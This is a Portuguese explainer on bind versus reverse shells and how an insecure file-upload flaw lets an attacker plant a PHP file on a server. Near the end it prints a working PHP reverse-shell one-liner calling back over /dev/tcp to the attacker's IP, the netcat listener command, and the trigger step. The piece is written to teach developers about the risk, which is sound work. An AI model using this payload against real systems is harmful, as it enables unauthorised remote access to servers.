Será que sua aplicação está vulnerável a shell reverso?
Antes de tudo, para que todos fiquem nivelado, vamos a uma breve explicação do que é um shell e shell reverso.
Um shell (bind shell) é a conexão do atacante ao alvo por meio de uma porta que, por algum motivo, está aberta. Então essa conexão pode ser realizada através do netcat.
┌──────────────────────┐
│ AlvoIp: 192.168.0.10 |
| Shell escutando │
│ Porta: 4444 │
└─────────┬────────────┘
▲
│ conexão nc 192.168.0.10 4444
│
┌─────────┴────────────┐
│ Atacante │
└──────────────────────┘
Já o shell reverso (reverse shell), acontece quando o atacante faz o servidor se conectar a uma porta aberta na sua maquina. Daí que vem o "reverse", porque é sua aplicação que realiza a conexão.
┌──────────────────────┐
│ Atacante |
│ ip: 192.168.0.15 |
│ aguardando:4444 │
└─────────▲────────────┘
│
│ conexão iniciada nc 192.168.0.15 4444
│
┌─────────┴────────────┐
│ Alvo │
│ conecta ao atacante │
└──────────────────────┘
Mas daí surge a pergunta: Como que o atacante faz o servidor se conectar com a máquina dele?
É preciso entender que para acontecer um shell reverso é necessário pré existir uma vulnerabilidade que permita essa técnica. Uma das vulnerabilidades que permite o shell reverso é o upload de arquivos inseguros (insecure file upload) e, é em cima dessa vulnerabilidade que explicarei como ocorre essa técnica.
As vulnerabilidades de upload de arquivos ocorrem quando um servidor web permite que os usuários carreguem arquivos para seu sistema de arquivos sem validar suficientemente coisas como nome, tipo, conteúdo ou até mesmo metadados. Ou seja, o sistema acaba permitindo upar um .php onde só deveria upar arquivos images.
Um atacante pode explorar essa vulnerabilidade através do nível de verificação e sanitização que você executa nos inputs de arquivos antes de salva-los no servidor. Essa exploração pode ser realizada ofuscando extensão do arquivo, modificando o Content-Type na interceptação por um proxy, burlando lista negra, alterando metadados ou até mesmo substituindo a configuração do servidor.
Tá, mas e o shell reverso? Bom para os mais ansiosos, deve ter ficado claro como o Material fecal acontece. Ao sistema permitir subir um arquivo php, seja lá como for, o atacante poderá enviar um arquivo .php simples, com o seguinte conteúdo:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.15/4444 0>&1'"); ?>
Esse arquivo executa uma tentativa de conexão a uma porta remota ao ip do atacante, após isso, é só abrir a porta 4444 para ficar escutando
nc -lvp 4444
Acessar a imagem na url disponível do sistema.
E BOOOM! Já era! Simples assim, o atacante está dentro do seu servidor. Após isso, é escalação de privilégio e só Deus sabe o que mais pode acontecer.
É importante deixar claro que essa técnica não é tão fácil de realizar. Ela também depende de outros fatores para ocorrer, como uma vulnerabilidade e permissão do servidor para execução de código. Mas, dependendo no nível do atacante, ele consegue burlar. Por isso é importante realizar a segurança de profundidade em camadas.